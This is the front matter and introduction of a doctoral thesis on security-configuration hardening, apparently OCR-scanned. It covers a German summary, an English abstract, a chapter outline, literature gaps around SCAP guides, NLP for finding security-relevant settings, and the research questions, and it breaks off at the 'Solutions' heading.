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Zusammenfassung

Problemdomaidne Die Standardkonfiguration von Software ist aus verschiedenen Griinden
unsicherer als moglich, z. B. weil der Softwarehersteller bei der Standardkonfiguration
mehr auf die Benutzerfreundlichkeit als auf die Sicherheit Wert legt. Daher sind Systeme,
auf denen Software in der Standardkonfiguration ausgefiihrt wird, unter Umstanden
anfilliger fiir Malware, Viren und andere Angriffe. Durch die Konfigurationshirtung und
die Setzen sicherer Werte konnen wir die Sicherheit unserer Systeme verbessern. Die meisten
Unternehmen nehmen jedoch derzeit keine Sicherheitskonfiguration vor, hauptsachlich,
weil sie sich der Bedeutung dieser Mafinahme nicht bewusst sind oder nicht {iber das
Verfahren, das Wissen und die Werkzeuge verfiigen, um sie wirksam umzusetzen.

Offene Forschungsfragen Die priméren Literaturliicken, mit denen sich diese Arbeit
beschiftigt, sind die folgenden: Erstens gibt es keinen Sicherheitskonfigurationsprozess, der
die Infrastruktur eines Unternehmens effektiv hartet. Die zweite Liicke besteht darin, dass
es aktuell keinen Ansatz gibt, um die manuelle Anweisungen zur Konfigurationshartung
automatisiert umzusetzen. Das fehlende Wissen dartiber, welche Konfigurationseinstel-
lungen sicherheitsrelevant sind, ist die dritte Liicke, die wir in dieser Arbeit angehen. Das
fehlende Verstdandnis fiir die Bedeutung der Konfigurationshartung ist die vierte Liicke,
die wir iiberwinden wollen. Die fiinfte Liicke ist das Problem, dass bestehende Systeme
nicht eingeschréankt werden diirfen; dies hélt aktuell viele Administratoren davon ab, die
Einstellungen ihrer Systeme auf sicherere Werte zu setzen.

Losungsansatz In dieser Arbeit stellen wir die folgenden Losungen vor, um diese Liicken
zu schliefSen: Erstens stellen wir einen effizienten Sicherheitskonfigurationsprozess vor.
Zweitens zeigen wir unseren Ansatz zur automatisierten Implementierung bestehender
Sicherheitskonfigurationsrichtlinien. Drittens zeigen wir, wie man die natiirlichsprachliche
Beschreibung der Einstellungen nutzen kann, um sicherheitsrelevante Einstellungen zu
bestimmen. Viertens stellen wir Angriffe auf nicht gehdrtete Systeme vor, die zeigen, wie
wichtig eine angemessene Konfigurationshartung ist. Flinftens zeigen wir, wie man mithilfe
von Techniken aus dem Software Testing die Sicherheitskonfigurationsregeln identifizieren
kann, die bestehende Software im Betrieb einschranken wiirden.

Beitrag Diese These hat drei Hauptbeitrdge: Erstens verwenden wir bestehende Techni-
ken aus der Computerlinguistik (natural language processing), um Probleme im Bereich
Sicherheitskonfiguration zu 16sen. Wir hoffen, dass andere Forscher diesem Beispiel folgen
und andere Probleme in diesem Bereich mit dhnlichen Techniken l6sen kénnen. Zweitens
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iibertragen wir Software-Engineering-Praktiken auf den Bereich der Sicherheitskonfigu-
ration. Durch die Verwendung etablierter Methoden kénnen wir den Prozess der Sicher-
heitskonfiguration mit bestehenden Tools wesentlich effizienter gestalten. Drittens haben
wir Datensitze veroffentlicht, z. B. zu sicherheitsrelevanten Einstellungen, sodass andere
Forscher ihre Modelle auf diesen Datensitzen trainieren konnen. Auf diese Weise hoffen
wir, in Zukunft mehr Forschung zur Sicherheitskonfiguration zu ermoglichen.
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Abstract

Problem Domain Software’s default configuration could be more secure due to various
reasons, e.g., that the software vendor focuses on the default configuration more on usability
than on security. Thus, systems running the software in the default configuration may be
more susceptible to malware, viruses, and other attacks. By hardening the configuration
and setting more secure values, we can improve the security of our system. However, most
organizations are currently not doing security configuration, mainly because they do not
know its importance or do not have the process, knowledge, and tools to implement it
effectively.

Literature Gap The primary literature gaps concerned by this thesis are the following:
First, there is no security-configuration process effectively hardening an organization’s
infrastructure. The second gap is that there is no approach to automate the mostly manual
configuration hardening. The lack of knowledge about which settings are security-relevant
is the third gap we tackle in this thesis. The missing understanding of the importance of
security configuration is the fourth gap we want to overcome. The fifth of our main gaps is
the problem of legacy support that prevents people from doing security configuration.

Solution In this thesis, we present the following solutions to close these gaps: First,
we present an efficient security-configuration process. Second, we show our approach to
automatically implementing existing security-configuration guides, and, thus, to remove the
manual configuration steps. Third, we demonstrate how one can use the natural language
description of the settings to find security-relevant settings. Fourth, we present attacks
on non-hardened systems that show the importance of proper configuration hardening.
Fifth, we show how one can use software testing techniques to find problematic security-
configuration rules when applying them to a system with legacy software.

Contribution There are three main contributions of this thesis: First, we use existing
natural language processing techniques to solve security configuration problems. We hope
other researchers can follow this example and solve other problems in this domain with
these techniques. Second, we transfer software engineering practices into the domain of
security configuration. We could make the security-configuration process with existing
tools way more efficient by using well-established methods. Third, we published data sets,
e.g., on security-relevant settings, so that other researchers train their models on these data
sets. Thus, we hope to enable more research on security configuration in the future.
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Outline of the Thesis

CHAPTER 1: INTRODUCTION

In this chapter, we introduce the problem of security configuration tackled by this thesis

and highlight its significance. We present the literature gaps in this domain and derive
research questions from them. Furthermore, we briefly describe our proposed solutions
and this thesis’s contributions.

CHAPTER 2: AN IMPROVED PROCESS FOR SECURITY HARDENING

This chapter presents an improved process for security hardening. Parts of this chapter
have previously appeared in [116], where the author of this thesis is the first author and the
only Ph.D. student within the publication’s authors.

CHAPTER 3: AUTOMATED IMPLEMENTATION OF WINDOWS-RELATED SECURITY-CONFIGU-
RATION GUIDES

In this chapter, we present how we can automatically implement existing security-configuration
guides. To achieve this, we use natural language processing techniques. Parts of this chapter
have previously appeared in [107], where the author of this thesis is the first author and the
only Ph.D. student within the publication’s authors.

CHAPTER 4: AUTOMATED IDENTIFICATION OF SECURITY-RELEVANT CONFIGURATION
SETTINGS USING NLP

This chapter presents how one can use natural language processing to identify security-
relevant configuration settings. Parts of this chapter have previously appeared in [113],
where the author of this thesis is the first author and the only Ph.D. student within the
publication’s authors.

CHAPTER 5: ATTACKING UNHARDENED WINDOWS 10 INSTANCES

This chapter presents attacks on unhardened Windows 10 instances. Parts of this chapter
have been submitted as [112], where the author of this thesis is the first author and the only
Ph.D. student within the publication’s authors.
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CHAPTER 6: AUTOMATED IDENTIFICATION OF BREAKING SECURITY-CONFIGURATION
RULES

This chapter presents how we can efficiently identify security-configuration rules that
reduce the functionality of a system. Parts of this chapter have previously appeared in [115],
where the author of this thesis is the first author and the only Ph.D. student within the
publication’s authors.

CHAPTER 7: RELATED WORK

This chapter enumerates and discusses related work particularly in the fields configuration
management, natural language processing, software engineering, software testing, and
security configuration. Parts of this chapter have previously appeared in peer-reviewed
publications [107, 113, 115, 116], where the author of this thesis is the first author and the
only Ph.D. student within the publication’s authors.

CHAPTER 8: CONCLUSION

This chapter summarizes the findings of this thesis and draws conclusions from them to
address the research questions posed in Chapter 1. It discusses the limitations of this work
and suggests different aspects on how to further enhance it.

N.B.: We based multiple chapters of this dissertation on existing publications. In all the publications,
the author of this thesis is the first author and the only Ph.D. student within the publication’s authors.
We explicitly mention these publications in the short descriptions above and at the beginning of the
corresponding chapter.
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1. Introduction

In this chapter, we introduce the problem of security configuration tackled by
this thesis and highlight its significance. We present the literature gaps in
this domain and derive research questions from them. Furthermore, we briefly
describe our proposed solutions and this thesis’s contributions.

When discussing security in academia, we tend to talk about algorithms, protocols,
and models. We can prove that they have specific security properties that make them
more secure than others. Furthermore, we often look at the specific implementation of
algorithms or protocols because even the most secure algorithm is useless if the concrete
implementation has a flaw. An attacker might use this flaw to break the security property
we prove in our abstract model that the algorithm has. Nevertheless, we might have the
best theoretical algorithm combined with the best implementation and still end up with
an insecure system because the system’s operator configured the system to use the secure
algorithm in an insecure way. Another common scenario is when one has a secured device
but still uses the default password. Thus, an attacker could enter the system with the
default password. These common problems are why the secure configuration of systems is
essential to make these systems more secure.

The problem of secure configuration has become more critical than before. The tasks that
software should do become more and more complex. As a result, the software itself becomes
more complicated. The companies try to mitigate this effect by buying specific third-party
software instead of writing everything independently. A company can use third-party
software on the OS level, e.g., Microsoft Windows or Linux, or on the application level, e.g.,
Word or Firefox. The third-party software will run within the company. A severe security
problem with the third-party software will impact the entire company’s security. Thus,
we also have to think about potential security problems within the third-party software
and patch them as soon as the vendor reports them. Moreover, we have to configure the
third-party software securely, which is usually more complicated than configuring software
we have written ourselves.

There are different reasons for this increased complexity. First, third-party software
usually has more functions than handwritten software. However, we use it in more contexts,
e.g., in different companies or, in the case of Microsoft Windows, in private PCs worldwide.
The vendors have to address this challenge and make their software configurable. Some
configurations make the software faster or more memory efficient, change the graphical user
interface, or make the software more secure. Typically, the vendors provide documentation
of the potential configurations to make. The sheer number of configurations one can
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configure repels the software operators from changing anything, and they stay with the
default configuration. Second, the software vendors are increasingly interested in how their
customers use their software to improve their software and their business model. Thus,
they are naturally interested in integrating measures to track their customers’ behavior.
However, laws and regulations force them to give the customers the right to disable these
tracking measures. Nevertheless, it is rather difficult for a normal customer to find these
configurations because they are hidden within the thousands of other configurations.

With the higher complexity of third-party software and the vendors’ interest in hiding
the privacy-related configurations, an administrator usually cannot know all the security-
relevant configurations of third-party software. In the best case, it is very tedious to search
for them. In a study from Dietrich et al., the participating administrators also named lack of
knowledge as one major factor that led to misconfigurations. [24]

Currently, most companies and institutes tackle this problem using security-configuration
guides, also called benchmarks or measure plans. Organizations like the Center for Internet
Security (CIS) or the Defense Information Systems Agency (DISA) publish such guides, e.g.,
for operating systems like Windows 10 or applications like the Microsoft Office programs.
Security experts at these organizations compile a list of all security-relevant settings. For
each setting, they specify the secure values. Furthermore, they describe what this setting is
doing and add information about the rationale why this setting is security-relevant. The
experts bundle all information necessary for one software in the corresponding security-
configuration guide. Administrators at other organizations and companies can use these
guides to harden those companies” systems. There is even a NIST standard for such guides,
namely the Security Content Automation Protocol (SCAP). The idea of SCAP was to enable
sharing of the standardized guides between companies and organizations and thus increase
the overall security.

1.1. Problems and Literature Gaps

When we started to work on the topic of secure configuration and configuration hardening,
the topic seemed so universally relevant to software security in any use case that we
expected to find much existing literature. We identified three different viewpoints to look
at this topic of secure configuration. The first viewpoint is the perspective of norms and
standardization, the second is the research perspective, and the third is the industry’s
perspective. Due to the high relevance of the topic, we expected to find many documents,
but this was not the case.

Standardization We will start our discussion with the standardization perspective. Here,
the most important collection of documents is the Security Content Automation Protocol
(SCAP). SCAP includes important languages like OVAL or XCCDF. The NIST published
the first version of SCAP in 2009. [86] However, there were certain updates to it [128, 129]
and the NIST, the NSA, and others are currently working on a new version 2.0 of it [127].
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Although SCAP is the only actual standard in the domain of security configuration, it is not
very widespread; mostly government agencies or companies working for US government
agencies work with SCAP. There are two main publishers for guides in the SCAP format:
the Center for Internet Security (CIS) and the Defense Information Systems Agency (DISA).

Industry This problem leads directly to the second perspective, namely the industry
perspective. During the work on this thesis, we talked to many people responsible for
the IT security in their company, e.g., from energy, healthcare, industrial automation or
transport, their university, e.g., different universities in Germany, their municipality, e.g.,
different municipalities in Bavaria, or their organization in general. Most of them were
aware that the default configuration of the software they used might not be the most secure
configuration and that they should do something about that. However, almost none of
them actively hardened their systems by active configuration hardening. Of the companies
that have not worked for the US government, none of the administrators were familiar
with SCAP; most of them were unaware that there is a standard for security configuration.
In the discussions, it became clear that most organizations do not apply configuration
hardening in a standardized or structured way. Sometimes, they check their infrastructure
with scanners like Qualys or Tenable Nessus and assess the configuration of the system
during this check as well. They then fix some findings by running an Ansible, Chef, or
Puppet script. However, none of the organizations used security-configuration guides from,
e.g., CIS, to systematically harden their systems. There are two notable exceptions here:
Siemens and Red Hat.

During this thesis, we talked many times with people from Red Hat, especially from the
team responsible for their SCAP support. Red Hat provides SCAP guides for most of its
software. Furthermore, they write their guides in their format so that they can automatically
implement the guides and include this, e.g., in the setup process of RHEL; we, as users,
can select a profile during the setup, and their tooling will then automatically implement
all rules belonging to that profile. The reason for Red Hat to support SCAP is that they
have and target many customers that are very security-aware and want their systems to be
as secure as possible. However, their solutions are—for obvious reasons—limited on their
products.

We worked closely with the department at Siemens responsible for their security-configu-
ration guides throughout the time of this thesis. Their original motivation to support SCAP
was also that they had customers that demanded that Siemens delivers SCAP hardened
products. Thus, they harden their products according to guides published by the CIS or
DISA or harden their systems based on their Siemens guides. However, they recognized
very early that SCAP might be suitable for publishing security-configuration guides but not
for managing a guide and that one cannot automatically implement a pure SCAP guide.

Although we do not claim that we did an exhaustive survey of the state of the indus-
try, our impression was that the topic of secure configuration and security-configuration
hardening has only reached very few large companies. Most companies have not heard
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about this and are not applying it; thus, their systems and infrastructures are easy prey for
malicious actors. Hopefully, relatively new tools like the HardeningKitty [103] or companies
like CoGuard [34] can improve this situation in the future.

Research The third perspective is the research perspective. Here, configuration manage-
ment is a subdomain of the general field of software engineering. There has been much
research in the field of configuration management, and is still going on, e.g., [89, 100, 138,
123] However, the research has focused here on aspects like errors due to misconfigura-
tions [33] or performance differences caused by configurations [72]. There is little to no
research about the security impacts of configuration management, neither from researchers
from the software engineering domain nor the security domain. We can only speculate
about the reasons for so few academic articles on this topic. In the following, we share
our experiences of five years working on this topic. We know that these are just our ex-
periences and that we cannot generalize them. However, sharing them might explain the
academic scarcity of articles in this domain. First, we experienced, especially at security
conferences, that researchers regarded security configuration as a trivial topic. If one has
to set a specific setting to a particular value to make the software more secure, then he or
she should set this value. Thus, these researchers do not see a scientific contribution in that
field; they regard approaches in the field of security configuration as naive combinations
of existing techniques or frame them as technical white papers instead of real academic
literature. Second, some researchers would only accept articles about security configuration
if the articles provide an evaluation with detailed data about real attacks blocked by the
measures. However, such sophisticated evaluations of security-configuration approaches
are hard to conduct in real-world contexts since security configuration has not reached
many companies, as discussed before, or the companies do not want to share such data.
The consequences are that almost no articles about security configuration get accepted,
the topic stays academically underrepresented, and interested scholars and practitioners
who want to work on it cannot find related work via the standard scientific methods. The
notable exception is the work of Dietrich et al. [24]. They conducted a survey with over 200
system operators about security misconfigurations and elaborated on the main factors for
security misconfigurations. Their findings in this article reflect our experiences from the
talks with people in the industry and organizations very well. There are primary factors we
cannot solve or remove on a technical level, e.g., Having other priorities or Sole responsibility.
However, some of the main factors they list, like Lack of knowledge, Manual configuration, or
Vague/no processes, are factors we want to address with this thesis. Dietrich et al. document
the current problems in the field of security configuration but do not present or suggest
solutions.

The standardization, industry, and the research perspective combined lead us to the
following problems.
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Efficient process for security configuration During this thesis, we talked with many
companies and organizations about configuration hardening. As stated in Section 1.1, most
companies and organizations we talked with are currently not doing any configuration
hardening at all. Again, these are only our experiences, and it is unclear if we can generalize
from these experiences. In the following, we will describe the status quo of security
configuration at companies that currently do configuration hardening. Using the status quo
security hardening process, we will make the properties that a new process for security
configuration should have more transparent.

The current, ideal process of configuration hardening works as follows. Different compa-
nies have different security requirements. The publishers of security-configuration guides
tackle this problem by providing different profiles. Each profile contains a subset of the
rules in the guide, e.g., all rules that an administrator should apply on a Domain Controller.
A profile can also change the required values for a setting, e.g., the Domain Controller
should have a more complicated password than a regular Member Server. The publishers
publish the profiles along with the guide. Then, the administrators can choose the profile
most fitting to their needs.

Nevertheless, in almost no instance, a general profile fits a company’s security require-
ments. Thus, the company can choose an existing profile that is either more secure or less
secure than the company’s requirements. In the first case, they might have more problems
than necessary, i.e., the profile contains rules that are not necessary in the company’s context,
but these rules might complicate existing tasks in the company. These problems caused by
unnecessary strict rules annoy people working with the hardened systems; they will come
to the systems” administrators and push them to loosen security measures to increase pro-
ductivity. In the second case, more attacks than necessary might be possible. A corporation
with a large security team reduces the gap between the actual security requirements and
the applied profile by tailoring the guide or a profile. In this tailoring process, they add and
remove rules or change the required values for a rule. We could see the tailoring process
as a one-time-only process. However, it is more realistic to assume it to be a continuous
process. Our security experts will not change the complete guide, but they will constantly
add new rules or adjust others” values. Moreover, we as a company must validate every
change before using the updated guide. Otherwise, a mistake in the guide could cause
severe problems for the hardened systems. It is an important and necessary process, but it
is also tedious and cumbersome in its current form using the SCAP documents. Therefore,
many companies implement a pre-defined profile with the described problems or do not
implement a security-configuration guide. The—in theory— preferable alternative of the
adjusted guide is too expensive to implement. This leads us to our first problem statement.

Problem 1 Administrators do not configure their systems securely, because there is no
efficient process for security configuration. One of the reasons identified by Dietrich
et al. why administrators are not doing security configuration is that there are only
vague/no processes for security configuration.

Literature Gap 1 To our best knowledge, there is currently no scientific literature available
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addressing this problem. Thus, we have to focus on industrial practice and the
standardization documents. The SCAP defines such a process to harden existing
software based on existing guides and profiles by tailoring them to the needs of our
company or organization. The problem is that this process is too complicated with
the existing formats and no tools to support the security experts and administrators
at the different manual steps of this process. Therefore, this process is currently not
used by administrators as pointed out by Dietrich et al.

No automated implementation Even if we have a security-configuration guide for the
software, there are no approaches or tools to automatically harden systems. Thus, the
implementation of a guide is painful and cumbersome. If our guide is only a document,
e.g., a Word or PDF document, we have to read the whole document. In the best case, we
can copy implementation scripts printed in the PDF for every rule to a shell to implement
the rule. In the worst case, we have to adjust the configuration for every rule manually. The
situation is not much better if our guide is in the standardized SCAP format. The creators
of SCAP created a sophisticated specification for checking systems for compliance with a
given guide.

However, there is no such specification for the implementation of guides. On the one
hand, checking alone will not tamper with the function of a system. Thus, external sup-
pliers, e.g., penetration testing companies, can check our systems based on standardized
checks and give us the report. It was, therefore, straightforward to standardize the check
format. On the other hand, implementing a guide could break the complete system. Our
assumption-backed by discussions with people working on this topic at the NIST-is that
the creators of SCAP focused on standardizing the checking because of its lower risk. For
the standardization of the implementation, they only defined where authors of security-
configuration guides have to put the instructions of a rule for the administrators, but not
how programs can automatically implement rules. Independent of the reason, the result is
that SCAP does not specify how to implement a rule automatically, and every administrator
has to do it on their own. Thus, we either have guides as documents or guides in the SCAP
and cannot implement them automatically in both situations.

However, the administrators who should harden the companies” infrastructure must au-
tomatically implement the guides as the hardening would otherwise be hardly economical.
The creators of guides tackle this problem with non-standardized solutions, e.g., embedding
shell scripts for Linux-based OSs into the texts of the rules. The administrators can extract
the implementation scripts relatively easily from the documents for the Linux-based OSs.
However, most organizations still use Windows as their primary OS. Here, the administra-
tors must read the instructions from the Windows-related guides and select the described
value for each setting since the values to set are embedded into the descriptions of the
rules. These descriptions are in natural language and, thus, easy to understand for the
administrators but harder to parse for machines. Before our work, no approach or tool could
extract the values to implement the rules for Windows-related guides. Furthermore, even if
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there was such a tool, there was also no tool that could implement the rule automatically
on Windows-based on the values because the administrators have to set them manually
in the Windows GUL. The only way to automatically implement a Windows-based guide
was to apply a backup file. However, one, e.g., the creator of the guide, had to create this
backup file manually. Additionally, one can only apply all rules included in the backup file
at once which is not practical in most situations. Thus, this time-consuming and error-prone
process of hardening Windows-based infrastructure still repels many organizations from
adopting security-configuration guides.
Thus, this leads us to our second problem.

Problem 2 Administrators do not configure their systems securely, because there is no
automatic way to implement security-configuration guides. Administrators must
manually implement security-configuration guides by clicking checkboxes or writing
the secure values in a configuration file. We see this reflected in the literature as manual
configuration; Dietrich et al. identified this as another main reason for administrators
to skip the security configuration.

Literature Gap 2 Due to the lack of related academic literature, we refer to the standards
around the SCAP. However, the SCAP does not specify how to automatically imple-
ment a guide. In the SCAP, this information is embedded into the natural language
description of a guide. The administrator can read this description and follow the
instruction. The first subproblem here is to get this critical information from the
descriptions. The second subproblem is to use the information to implement the rules
automatically.

Identification of the security-relevant settings Even the most efficient security-configuration
process can only set those settings to secure values that are included in the implemented
security-configuration guide. Therefore, we assume that a guide for a specific software
is complete, i.e., that there is a rule for each setting of the software that might impact the
security of the system running the software. We have to rely on our security experts or
external ones and their knowledge of the system that they targeted all security-relevant
settings in their guide by adding a corresponding rule for each security-relevant setting. If
they missed a security-relevant setting in their guide, we would not configure this setting
to secure value and leave this part of the system unprotected. As the notion of security
varies for different systems and use cases, also the set of security-relevant settings might be
different depending on the use case a specific software is used in. However, we assume
that the security experts at guide publishers like the CIS think about all aspects of security
of a software and that their guide includes a maximal set of security-relevant settings. Our
security experts can then create our specific set of security-relevant settings of the software
depending on our use case for the software by tailoring the guide to our needs.

Whether the experts at guide publishers like the CIS have included all security-relevant
settings in their guide is especially interesting when the software vendor publishes a new
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version of the software with new settings. In this case, the experts must review the new
settings and identify the security-relevant ones. In the best case, they identify all new
settings that might influence the system’s security, choose a secure value to set for each
new security-relevant setting, and create a new rule for each security-relevant setting with
the secure value in the description of the rule. Furthermore, they ignore all non-security-
relevant rules and do not create superfluous rules for them. Example: a new version of
Windows 10 adds two new settings. The first setting defines the color of a button in a menu;
the second setting can deactivate a legacy function used in the past in exploits. Thus, we
would assume that our security experts go through those two new settings and ignore the
first setting. However, they should create a rule to configure the new setting so that the
legacy function is deactivated. They should add this newly created rule to the existing
guide.

A setting can be security-relevant or non-security-relevant independent of the structure of
the setting, i.e., whether it is a boolean setting, a cardinal, or an ordinal setting. Furthermore,
a setting can have two states, i.e., it can be included in a guide by a rule addressing this
setting, or it can be ignored by the guide because there is no rule addressing this setting.
Thus, we see this process of selecting settings to add to a guide as a binary classification
problem. Suppose we add a non-security-relevant rule to the guide. In that case, we
have unnecessary overhead for managing, implementing, and checking this rule. This
error would be the type I error in the context of hypothesis testing. If we miss adding a
security-relevant rule to the guide, we do not fix a potential vulnerability that an attacker
might exploit later. This error would be the type II error in the context of hypothesis testing.
Currently, this is a pure manual process, i.e., it is slow, cumbersome, and error-prone, and
the experts at guide publishers like the CIS have—-to our best knowledge-no tool support.
They can only read the documentation of the software vendor’s settings and write-again—in
natural language. Their background knowledge to assess whether a setting might be in
general security-relevant or not. Thus, the best we can do at this point is to hope they do not
make mistakes here because the consequences would be severe and affecting all companies
and organizations relying on the published guides. We summarize this in our third problem
statement

Problem 3 If we create a security-configuration guide and do not include a security-
relevant setting, this setting will not be set to a secure value. However, there is
no automated approach to find security-relevant settings that could reduce the risk
of forgetting settings. When security experts go through new settings to identify
security-relevant settings, they use the settings” documentation. We can see this as a
binary classification, i.e., including a setting in a guide by adding a rule about this
setting or not, based on the documentation of the setting in natural language. There is
currently no process or tool support for this problem. We have no definition of what
a security-relevant setting is nor a data set with security-relevant and non-security-
relevant settings nor an algorithm which can separate them from each other. Dietrich
et al. listed this under lack of knowledge.

10
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Apart from articles on security configuration, we were also investigating the field of data
mining to tackle this problem. In the past, there has been a lot of research in the field of ex-
tracting important parameters or configuration values from human-readable documents [43,
78,91, 101, 120, 134, 140, 144]. Yang et al. [140] present an approach to automatically extract
web API specifications from the documentation of a software similar to the extraction of
our configuration values from the security-configuration guidelines. Using NLP, Wong et
al. [134] developed an approach to extract information from program documentation to
improve automated testing. However, we could not find articles that use these techniques
in the field of security configuration, although we have similar circumstances there.

Literature Gap 3 Although this search for security-relevant settings seems like a typical
data mining use case, no academic paper has — to our best knowledge — tackled
this problem. Thus, we could not find approaches to help security experts and
administrators in this regard. We need approaches and tools that help security experts
and administrators find settings that increase software security when set to secure
values.

What threats can we block with the security-configuration hardening? Many compa-
nies do not see the security they gain through hardening their systems, because there is
almost no research about the different ramifications of attacks on system with configuration
hardening vs. systems without configuration hardening. Some think that nothing evil could
happen if one updated their software regularly and installed security-related software,
e.g., an Antivirus software scanner. Although, the truth is that these are some layers of
a good security strategy, and configuring the used software-and, of course, removing
unused software—is also part of such a strategy. Even if one has a rule from a published
guide with the rationale for why it is essential, it is still a very abstract threat to most
administrators and managers. Many data breaches happen because the sites” administra-
tors misconfigured something so unauthorized people could access the data. Usually, the
reactions to such a data breach are that the victim company blames the attackers” technical
finesse against whom they could not do anything. [122] Instead, they should adhere to a
security-configuration guide for the software in use. Many ransomware attacks use social
engineering as an initial access step. Thus, many companies invest rightly in awareness
measures to reduce the risk of falling victim to such a campaign again. However, they—to
our best knowledge-seldom implement a security-configuration guide due to a successful
ransomware attack, which could make future attacks more difficult or prevent them from
completely. The link between a security-relevant setting and a successful attack is, for most
deciders, not as evident as the link between an employee clicking on a malicious link and
the attack. Thus, they are more reluctant to harden their systems.

Problem 4 The administrators and their company managers have little concern about
insecurely configured software. They do not see a high risk in using insecurely
configured software. The problem is a lack of data about attacks that work on systems

11
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in their default configuration, but not in their hardened version. Lack of concern is also
one of the main reason mentioned by Dietrich et al. why administrators are not doing
security configuration.

There are many sophisticated articles, e.g., [131], or blog posts, e.g., [5], about attacks.
However, most of the research focuses on new and previously unknown attacks since it is
more interesting to work and research on new topics than to replicate and reassess existing
problems. The researchers usually contact the software vendor in the process of responsible
disclosure before publishing the attack, and the software vendor mitigates the attack using
a patch. Next, the software vendor calls their customers to update their software to make
the attacks impossible before the article explaining the attack gets published. Thus, many
administrators have the impression that their systems are secure as long as the software
is always up-to-date. However, many attacks by, e.g., ransomware gangs, are successful,
although the software has the latest updates. Theoretically, some of these attacks could
be blocked or be more complicated if the administrators hardened these systems under
attack before the attack. Nevertheless, research on the mitigation of such existing attacks
is underrepresented in the current academic circle. We think that some companies, e.g.,
penetration testing companies, might have some data here about how easy or difficult
it is to attack hardened vs. non-hardened systems. However, they usually do not share
deep insights here. There are some research approaches to securely sharing such data
securely [14] with secure multi-party computation. However, the research in that direction
is just starting. There is an imbalance between hot new vulnerabilities and old security
problems. On the one hand, articles and blog posts, usually followed by newspapers and
more prominent media coverage, are talking about new vulnerabilities, and everyone must
patch their software immediately. On the other hand, only a few people talk or write
about old problems that we could tackle by security configuration on the other hand. This
imbalance leads to the lack of concern that blocks people from doing security configuration.

Literature Gap 4 Although there are many academic papers on attacks on software sys-
tems, no academic literature compares systems with configuration hardening applied
against unhardened systems. Thus, the academic literature cannot support us in
deciding whether configuration hardening is useful. Nevertheless, the multitude of
tech news articles on breaches due to simple configuration errors suggests a need for
configuration hardening in practice.

The problem of breaking rules In practice, deciders are afraid of the potentially harmful
consequences the security hardening could have. The main goal of the infrastructure is to
allow the people working with it to do their job. Applying a security-configuration guide
can make people’s work harder or impossible. When we apply a security-configuration
guide to a legacy system, the chance is high that something might break. We could then
revert the complete guide and reset the system to its previous state but lose all the security
advantages it could have given us. Otherwise, we could investigate and determine which
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rules break the functionality. We call these rules breaking rules. We could then modify
our software or system so that these rules are no longer a problem or apply the guide
without the breaking rules. Thus, we could gain some extra security without hampering
our functionality. However, the debugging process to find the breaking rules is tedious and
time-consuming. Therefore, most deciders will prefer a running system with improvable
security over a more secure system at the cost of a long fault localization process.

Problem 5 Administrators are reluctant to apply configuration hardening since it could
break existing functionality. Dietrich et al. mentioned this under the term Legacy
support.

Many administrators we talked with stated that even if we solved all the problems men-
tioned above, they could not apply security hardening on their systems because something
might break, i.e., the system could not fulfill its purpose anymore. Researchers started
very early, e.g., [62], to work on this problem that combinations of specific parameters or
configurations might cause failures. Currently, research in the field of combinatorial testing
is still very active [135]. However, we did not find articles that combined this topic from the
testing domain with the security configuration domain. In practice, nothing can currently
help administrators find problems with the existing system due to security configurations.

Literature Gap 5 Currently, there are no approaches or tools to support administrators in
ensuring that all the legacy functions are and stay available even if security hardening
is applied. No literature on software testing literature, software engineering, or
software security covers this problem. Furthermore, there is also in practice no
approach or tool that supports the administrators in ensuring legacy functionality
when hardening a system. However, we need such tools and approaches to convince
administrators that the systems stay useful even after they harden them.

In the end, the sum of the described problems leads to the administrators not configuring
the companies’ systems as securely as they could and should be. Therefore, more attacks
are possible, attacks are easier, or the attacks” damages are more severe than necessary.
Thus, the overall security of the companies is way lower than it could be. This mismatch
between the required state of the companies” overall security and their actual security
is a crucial problem for practical IT security. This thesis aims to improve practical IT
security through more securely configured devices. To achieve this, we tackled several
problems of the current security-configuration process to make it easier, more effective,
more understandable, et cetera.

1.2. Research Questions

We combined this in the following research questions:

13
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RQ1

RQ2

RQ3

RQ4

We described the numerous problems of the theoretical process of configuration
hardening. However, we need an efficient process for the configuration hardening to
fill Literature Gap 1. Here, we cannot remove or replace the tailoring itself because
one guide with a couple of profiles will never cover all potential use cases of software.
Thus, we can only facilitate the tailoring process as much as possible. The tailoring
problems seem similar to those from the beginning of software development. Thus,
our research questions here are: How does this influence the tailoring process if we
use established techniques from the software engineering domain, e.g., VCSs, CI, tests,
et cetera? Can we detect mistakes in changes using CI testing? Can we facilitate the
adjustment of rules when we handle a security-configuration guide like a software
project? Can we compare different versions of a security-configuration guide more
easily if we use VCSs like git?

Problem 2 of this thesis has two challenges, i.e., the extraction and the implementation
of the rules on the basis of the extracted values, that currently prevent us from
implementing security-configuration guides automatically. As described above, the
standard for security-configuration guides SCAP does not automatically specify how
to implement rules. Thus, the creators of security-configuration guides like the CIS
overcome this issue by using non-standardized solutions. However, for Windows
as the primary OS in most organizations, the administrators could not extract the
important values or implement the rules based on them automatically. Therefore,
implementing security-configuration guides is tedious, time-consuming, error-prone,
and hardly done in practice. Since the values are in the natural language description of
the rules: Can we use state-of-the-art natural language processing to extract the values
needed to implement Windows-related security-configuration guides automatically?
How many rules can we automatically derive an implementation from the text in
natural language? How high is their percentage? How many of the extracted rules are
automatable, and how many automatable rules were not extracted? After correcting
wrongly extracted automations: How many rules can we implement automatically
for the complete guide? How much time does our approach require to extract the
information, verify it, and implement the rule? How many rules are implemented
correctly following the automated checks?

To solve Problem 3, i.e., to support security experts and administrators in finding
security-relevant settings, we need to answer the following research questions: What
could be a practical definition of security-relevant configuration settings based on
their documentation in natural language? How can we efficiently create data sets
with security-relevant and non-security-relevant configuration settings? How well
can we identify security-relevant configuration settings with state-of-the-art natural
language models? Are the models sufficiently good to replace security experts in
identifying security-relevant rules?

To make security-configuration hardening more attractive for administrators and
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RQ5

1.3.

organizational decision makers, we have to better explain the risk of bad security-
configuration management. To address Problem 4, namely the missing data about
attacks on hardened vs. non-hardened systems, we formulated the following research
questions: Assuming we have no access to zero-day exploits or insider knowledge,
which attacks based on publicly available tools and known weaknesses can we execute
on systems in their default configuration? How many attacks are impossible or more
difficult if we secure the system? What are the ramifications of the attacks that are
only possible on the non-hardened systems, i.e., what kind of consequences can we
prevent by the hardening? What assumptions do we need for the attacks? Are they
realistic? We as a company have to act economically. Thus, it is not rational for most
companies to prepare against sophisticated attacks that use zero-day exploits, but
low-effort attacks should be prevented.

Problem 5, i.e., finding the relation between critical functions and settings that break
them, is conceptually similar to software testing problems. Thus, it is obvious to apply
testing techniques here. Our research question is then: How efficiently can existing
techniques from the software testing domain find these breaking settings, respectively,
the corresponding configuration settings?

Solutions

